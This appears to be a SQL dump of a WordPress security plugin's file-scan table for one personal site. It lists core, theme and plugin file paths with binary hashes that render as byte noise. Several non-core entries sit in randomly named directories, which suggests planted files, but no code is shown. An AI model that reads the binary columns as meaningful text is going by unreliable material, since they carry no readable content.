('	J;uz','wp-includes/sitemaps/class-wp-sitemaps-provider.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/class-wp-sitemaps-provider.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@\r-90','LL{VG5nXߺAP*','',0,'?'),
('	P=N>b\"j:~[Q{','wp-includes/js/tinymce/plugins/wpdialogs/plugin.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wpdialogs/plugin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','We⎆?Nt','n4<Fz_5kig','',0,'?'),
('	Xt\\4vNI5j','wp-admin/async-upload.php','/home/trevorkl/trevorklee.com/wp-admin/async-upload.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','d?6.aĤc','W(W9*＀J#h4qMkdPH','',0,'?'),
('	t]9\'','wp-includes/blocks/nextpage/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/nextpage/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ei@FF\Z','-!`,#ál៳DTD	v8=Y5F','',0,'?'),
('	vg_\rz','wp-includes/blocks/comments-pagination/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"\Z?I{>','hY=\"f+ZƲ{<lm\0翦P).E','',0,'?'),
('	hXk%>{NB','wp-includes/js/dist/viewport.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/viewport.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~ZF~]','Di9	umMfB-s3iV','',0,'?'),
('	!\\$y&\r','wp-includes/css/dist/edit-site/posts.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-site/posts.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','fmjt',' ()d)(@8z@Y99','',0,'?'),
('	lq1Ti','wp-content/themes/twentynineteen/sass/site/_site.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/site/_site.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','S@*D/\\I','XmWMKtV8Ɗ','',0,'?'),
('	fy$pp','wp-content/themes/twentytwentyfive/patterns/logos.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/logos.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','SowYE`DE','_թJpsyVov=-9N,P}c%','',0,'?'),
('	̡xrvyD','wp-content/themes/twentytwentyfive/styles/colors/03-dusk.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/colors/03-dusk.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','jܟoV앳F','$9f8(z>\'*j','',0,'?'),
('	Ӱꅑc','wp-includes/js/dist/escape-html.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/escape-html.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Hg|','!J.lil䕓J|vB׻O\r','',0,'?'),
('	9fވUf','wp-includes/js/tinymce/tinymce.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/tinymce.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Xl̡Ckn','Zk	6|{*\Z{Hiܝk^','',0,'?'),
('	9;oŕT','wp-includes/Requests/src/Utility/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Utility/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('	H9Ҏ5Q_','wp-includes/abilities.php','/home/trevorkl/trevorklee.com/wp-includes/abilities.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\n-~/-~b','Yť,!aeTooh7Es<dI','',0,'?'),
('	IhBpO','wp-includes/blocks/heading/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/heading/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ѽ =Bu0','%X*|6\Zq_\nPB.$kB;_yTBO','',0,'?'),
('	09-bͩW','wp-admin/network/users.php','/home/trevorkl/trevorklee.com/wp-admin/network/users.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[ݢvl0z','`)7+u#<^-n85ygj','',0,'?'),
('	G5QǜK~@\\','wp-content/themes/twentytwentyfive/templates/search.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/templates/search.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b@WNU','G\'HR7z.\Z0AiKLMw','',0,'?'),
('	/?^EՑ','wp-includes/sitemaps/class-wp-sitemaps.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/class-wp-sitemaps.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~[]=!ذ','0a\0<Eq\ns1ZFn','',0,'?'),
('	iATHd*','wp-content/themes/twentytwentyone/assets/sass/05-blocks/cover/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/cover/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ѢIᰘ/','_ɚ&k(s͕SpzәҒI/','',0,'?'),
('\n|wu6`m','wp-includes/theme-compat/oq1ieuz/index.html','/home/trevorkl/trevorklee.com/wp-includes/theme-compat/oq1ieuz/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('\n	64R9','wp-includes/blocks/social-links/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/social-links/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u/Lw!ٔ}','>PL:Y*=[ib)$*S.\0','',0,'?'),
('\n\"\'࡛ܹ','wp-includes/blocks/blocks-json.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/blocks-json.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^~$tK]','\'/~n[QV.U9?','',0,'?'),
('\n*!i %W','wp-includes/html-api/smzgnbc/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('\nLtHGLN\r','wp-content/themes/twentytwentyone/assets/css/print.css.map','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/print.css.map',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','zϡ\na,>VAC','\0@h8\nGje.Es6C','',0,'?'),
('\nPR3ĹyeǞ9','wp-includes/SimplePie/library/SimplePie/Parse/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Parse/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('\nT/\\9$YU\n͌','wp-includes/customize/class-wp-widget-form-customize-control.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-widget-form-customize-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{D*@6{τ}','+֓zi@^F%5qZg<','',0,'?'),
('\nfY4&L','wp-admin/images/se.png','/home/trevorkl/trevorklee.com/wp-admin/images/se.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ȔB`.}\'7:','Y\"K{Ur:2JL','',0,'?'),
('\nzŭ}{.u[','wp-includes/block-supports/generated-classname.php','/home/trevorkl/trevorklee.com/wp-includes/block-supports/generated-classname.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1HRO#/}','?!jCouc3eIB=\'/Ka','',0,'?'),
('\n{X%N8w2?M4C','wp-includes/css/dist/format-library/style.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/format-library/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' \nӔCb','Fc6X}t_Tնi-8~܁zX','',0,'?'),
('\n}\'٩B39:','wp-includes/blocks/table/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/table/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U*N.y^Ϗs','Z>t>7^ҙ_ͧhvk','',0,'?'),
('\nfӅ;{t','wp-includes/class-wp-role.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-role.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','G&c{','{!џamT>TlAR9]O\Z','',0,'?'),
('\nb-V:|m','wp-admin/edit-link-form.php','/home/trevorkl/trevorklee.com/wp-admin/edit-link-form.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','GB4xB3Js4','(DA֟n,?^F;-PZ(j/#','',0,'?'),
('\n#x|]','wp-includes/blocks/site-tagline/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-tagline/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9s+2c1\\%\0{','ZkR⨈\Z5pm\\nz','',0,'?'),
('\nNNMۑ4;p4','wp-includes/js/customize-models.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/customize-models.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','eTo\n:ם/0','0Om	.>j><f:o^','',0,'?'),
('\n8͚)}g','wp-content/themes/twentytwentyfive/patterns/template-home-photo-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-home-photo-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	m{	9','ɀgI?YlIe/y\r-Ω<S\0','',0,'?'),
('\nOelgn3\"6','wp-content/themes/twentynineteen/search.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/search.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`E[36wg','eC2j9IZ|Q`-%j','',0,'?'),
('\nx1bAd!','wp-content/themes/twentytwentyfive/assets/images/botany-flowers-closeup.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/botany-flowers-closeup.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*x~YɲsP','	G$\ZxCNK}~+becx:D','',0,'?'),
('\n!^划T\n','wp-content/themes/twentytwentyone/assets/sass/06-components/archives.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/archives.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','F5vElTͤQ5','WF:ڮU3dm0	','',0,'?'),
('\n	_{','wp-includes/blocks/audio/theme.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/audio/theme.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','L@إm_YF','e7KVӧidƍ9ky','',0,'?'),
('\n@g+T;V','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/xmlrpc.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/xmlrpc.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p\nrp<','j4`hx44qeTR!d','',0,'?'),
('\n\rBp̭','wp-admin/theme-install.php','/home/trevorkl/trevorklee.com/wp-admin/theme-install.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-L!\0*','prL{sh<*d4Ū\0s>_','',0,'?'),
('\n:X2Lnc','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/sodium_compat.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/sodium_compat.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~:!\\p','u?n#d4i	gAJX	@UYC','',0,'?'),
('\nGƙn\Z@1+U]','wp-admin/css/revisions.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/revisions.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Rʸ+c!Y','L^m!ەoꇱ42','',0,'?'),
('\"w%_K\\u','wp-admin/images/wpspin_light.gif','/home/trevorkl/trevorklee.com/wp-admin/images/wpspin_light.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$n4H{','-*znD,\"aHKHrޱ~\Zy\Z%','',0,'?'),
('&cYD#P{+','wp-includes/js/jquery/ui/effect-blind.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-blind.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E\Z6yF(dߝ','x/ׯH#&.\ZZ(HVrѪ','',0,'?'),
(',+E&*tӁhgN','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Exception/IncompatibleVersionException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Exception/IncompatibleVersionException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|7.Q\rV','\'/.׮\rf=П&ōܐ5j!{\0WQP','',0,'?'),
('1\r{цnDeP]','wp-includes/blocks/home-link.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/home-link.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}ilA7|H','cK\nLoUTȼ\r3K	+ef=','',0,'?'),
('A`k{n/*ScN','wp-includes/js/dist/vendor/react-dom.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/react-dom.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+7\0[{t⠶nE|','Z\ZƷfu9N2Sr~E\nx','',0,'?'),
('KHݚ1>uRn','wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('Phui8V\0kU','wp-includes/blocks/post-date/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-date/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B:?34cm','wiܠ4إ\"*L	]ϵ}','',0,'?'),
('}spK :','wp-content/plugins/akismet/views/setup.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/views/setup.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0~Gt','X&.ٽXqe35CBl$8vQ','',0,'?'),
('Yq','wp-includes/customize/class-wp-customize-partial.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-partial.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m)fIf8XKO','Img\0W?T,m9rLmy6@y<','',0,'?'),
('ߒgo\0m','wp-content/themes/twentytwentytwo/assets/images/flight-path-on-salmon.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/flight-path-on-salmon.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','e<\"w\".x','>۝;CS4QX>qXOsm\Z\Z','',0,'?'),
(',H(b_FO','wp-admin/admin.php','/home/trevorkl/trevorklee.com/wp-admin/admin.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','WDܹD','WJ\ZW.m$w *T<byS$o}:','',0,'?'),
('HVեdpVp','wp-includes/images/media/spreadsheet.png','/home/trevorkl/trevorklee.com/wp-includes/images/media/spreadsheet.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4\0Ṫ?','v)\n6Zl2В1!+	','',0,'?'),
('5Åƌm','wp-includes/block-patterns/query-standard-posts.php','/home/trevorkl/trevorklee.com/wp-includes/block-patterns/query-standard-posts.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','уBUCL{',':Τ~&\rCF+Iq_e','',0,'?'),
('?%M	?N','wp-includes/js/dist/vendor/wp-polyfill-inert.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ӶF^pt<jQ','76Gzmsqz&Bȃ s','',0,'?'),
('d\rxJ&ި','wp-content/plugins/wordfence/css/license/free-global.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/license/free-global.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}kb\0\n','mJ]v|է\rɧ<չ[Po\r','',0,'?'),
('>QrK~','wp-includes/blocks/post-content/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-content/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B^{V5*M','lp[xu?æ\ZKW6dt}1W6oh`','',0,'?'),
('\nUN~\0m','wp-includes/js/codemirror/csslint.js','/home/trevorkl/trevorklee.com/wp-includes/js/codemirror/csslint.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','M_ϱIl',']ih4Fò\rUWEK(Pd','',0,'?'),
('c\"ml Ǟ>o','wp-admin/images/wordpress-logo.svg','/home/trevorkl/trevorklee.com/wp-admin/images/wordpress-logo.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','N%dgp','\"uj-QE\0[gLZ5MD:','',0,'?'),
('*Oi','wp-includes/customize/class-wp-customize-media-control.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-media-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','MGԝZܡ\0`\"','ݑ^vBZAq\0L!qdsGH','',0,'?'),
('-SK^','wp-content/wp-cron.php','/home/trevorkl/trevorklee.com/wp-content/wp-cron.php',0,'/&&7','/&&7','4g FGF3t=[\n!J/}U_','',0,'?'),
('D 2K|&','wp-admin/css/nav-menus-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/nav-menus-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','N?5\"zds','獿.A\\cJ-\"((R9(mj','',0,'?'),
('Q10G,','wp-includes/sodium_compat/src/Core32/Curve25519/H.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','x} pcKO','(H>0}8:e)ＴN/z','',0,'?'),
('RӗLʢk','wp-content/plugins/wordfence/modules/login-security/js/wordfence-login-security.1788880300.js','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/js/wordfence-login-security.1788880300.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','t\n9//$','<=Å;2=$dU0:U','',0,'?'),
('`/4\\srHm','wp-content/themes/twentytwentyfour/patterns/hidden-post-meta.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/hidden-post-meta.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\Z(ʨeDR1֋d','ʅNL\'?iz.\nHR[','',0,'?'),
('dW9Ys[','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/DataFieldParser.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/DataFieldParser.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<EFC\08,','ktv+#?G^-閪R-Y\ry','',0,'?'),
('z)4,K\n','wp-includes/speculative-loading.php','/home/trevorkl/trevorklee.com/wp-includes/speculative-loading.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>\'Xmd','Fu7K̖\\Os#⼁ǃ','',0,'?'),
('{Mii2n6','wp-includes/js/jquery/ui/effect-highlight.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-highlight.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dlۖ)S~|L','FzmUT**`@U','',0,'?'),
('!V31ts-','wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','R&)FM(','3Jv\'<i/\n=hD2,','',0,'?'),
(')&M2D\rYU^','wp-content/themes/twentytwentyone/assets/sass/05-blocks/tag-clould/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/tag-clould/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g8vw5ǿ','Vsyf(G8hM\Zj','',0,'?'),
('AFk','wp-admin/js/privacy-tools.js','/home/trevorkl/trevorklee.com/wp-admin/js/privacy-tools.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ȅh\ZW;K\nQj','|9n\nȬuO/C݄','',0,'?'),
('ZuiigԄ','wp-includes/js/dist/nux.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/nux.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','T\\q?,v','/W\0tf\\>U2Ĉ[x֋','',0,'?'),
('\r͛ܹ}CLR)','wp-includes/blocks/file/view.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/file/view.min.asset.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u0{os^.j+','l)gLA.mH,\Z8zrX','',0,'?'),
('\rUjzh2/9fM','wp-admin/js/application-passwords.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/application-passwords.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=]!EVYS=','$p9#o,:@|Z\0ۻ۵GU{%','',0,'?'),
('\rg3)EV͓ea','wp-includes/sitemaps/fxpu1qt/uspyrgz/index.html','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/fxpu1qt/uspyrgz/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('\ri(#Fz','wp-content/themes/twentytwentyfour/styles/fossil.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/styles/fossil.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<|xp`chH','{\"d^c_]Ɗ.bK]','',0,'?'),
('\rkڷi8zPTi,/','wp-includes/js/dist/script-modules/route/index.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/route/index.min.js',0,'UiL#z','UiL#z','B(S&zr7ih;2u','',0,'?'),
('\rxݍ^\Z<;','wp-admin/my-sites.php','/home/trevorkl/trevorklee.com/wp-admin/my-sites.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/tf:is','6K\\6qXF$PB C','',0,'?'),
('\rX+-Ta','wp-content/plugins/wordfence/crypto/vendor/paragonie/random_compat/lib/random_bytes_com_dotnet.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/random_compat/lib/random_bytes_com_dotnet.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' O>A+=\Z,','UsDMÙd(\0ā~','',0,'?'),
('\rvN[B&SL','wp-admin/css/common.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/common.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','MT`uL0j','}`/Zv{lr\ZR.Ւp','',0,'?'),
('\rܳcTBn','wp-includes/blocks/loginout/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/loginout/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nm%HLzd7','Xra!Q{Q<N{\"۷WtSg,','',0,'?'),
('\rW	\nZf2ze','wp-includes/js/dist/script-modules/block-library/image/view.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/image/view.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4ǹ|?ad','7\nejbu.bG_LOO','',0,'?'),
('\r<: -{̖H','wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q9\rͳ[','qNCd?#\rg復ie-[b','',0,'?'),
('\rduQnk','wp-content/themes/twentynineteen/sass/media/_media.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/media/_media.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','oDl	;H','.*!:\r{ڗNn9','',0,'?'),
('\rҧxOzzh','wp-includes/class-wp-customize-panel.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-customize-panel.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0eDů7}LB','0zh ۅxtP)oq6%a>%]l','',0,'?'),
('\r::HH:d','wp-admin/css/edit.css','/home/trevorkl/trevorklee.com/wp-admin/css/edit.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4Wp\\ߊpϺ','rR  KPVڵTݥ.ӆn>e','',0,'?'),
('\r|,IL$','wp-includes/blocks/post-comments-link/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-link/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','v`=F@','5wJ:{XҵE4Ɔ','',0,'?'),
('\r%%yS`','wp-includes/js/crop/cropper.js','/home/trevorkl/trevorklee.com/wp-includes/js/crop/cropper.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','H.so','py,BG-t=s','',0,'?'),
('\rѪ1s1=`(y','wp-admin/options-head.php','/home/trevorkl/trevorklee.com/wp-admin/options-head.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','cmsNͺN;5','1fk(*\rx~','',0,'?'),
('\0[|}袄D','wp-content/themes/twentytwentyone/assets/images/in-the-bois-de-boulogne.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/images/in-the-bois-de-boulogne.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(42YY6','[b.	\n$0,UK9	SV','',0,'?'),
('cK.۔/b','wp-content/uploads/ewncuos/index.html','/home/trevorkl/trevorklee.com/wp-content/uploads/ewncuos/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
(':*+i*i2}Q','wp-includes/style-engine.php','/home/trevorkl/trevorklee.com/wp-includes/style-engine.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=S=w=:','vI^Y\\kSw:喅=heRs','',0,'?'),
('9tc1\"e/','wp-includes/sitemaps/egf1kul/ytws1xl/index.html','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/egf1kul/ytws1xl/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('W7{(;:P?','wp-admin/includes/class-bulk-upgrader-skin.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-bulk-upgrader-skin.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>CnoZO','<yJJ!jA\'8te>','',0,'?'),
('XH奥(:Z','wp-admin/admin-ajax.php','/home/trevorkl/trevorklee.com/wp-admin/admin-ajax.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&Mf ZxhiQ4R','$G]4jnvEhh2\r.\n*>Y','',0,'?'),
('a5ͅB_s','wp-content/plugins/wordfence/crypto/vendor/composer/autoload_classmap.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/composer/autoload_classmap.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','VVAMVQ]J','pej8ZG$\'Ug\n\\o&G','',0,'?'),
('c7f:y-\0\'#l*','wp-includes/js/swfobject.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/swfobject.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ń7jR','Er)ckQ[yCχ=!','',0,'?'),
('fY	QOKCIU','wp-includes/css/dist/patterns/style.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/patterns/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','n(<]wA\nN\r','1hѸ]}Hr=|~!MtfA\r','',0,'?'),
('gosV;\n$','wp-includes/js/tinymce/plugins/compat3x/plugin.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/compat3x/plugin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+n1oVb','CT(N+,TNC`ީ','',0,'?'),
('hr\Z;%e-x','wp-content/plugins/wordfence/css/images/ui-icons_444444_256x240.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/images/ui-icons_444444_256x240.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','GJu;QZ6','\\MUKhQwCiVJ\'','',0,'?'),
('(ݠ`Ax','wp-includes/blocks/post-author-name/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-author-name/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q׊TblG','7.\"𜒸\\;j-h|_%','',0,'?'),
('U)ʀ3G','wp-content/plugins/akismet/changelog.txt','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/changelog.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','R','9*k-7ȍxNu{','',0,'?'),
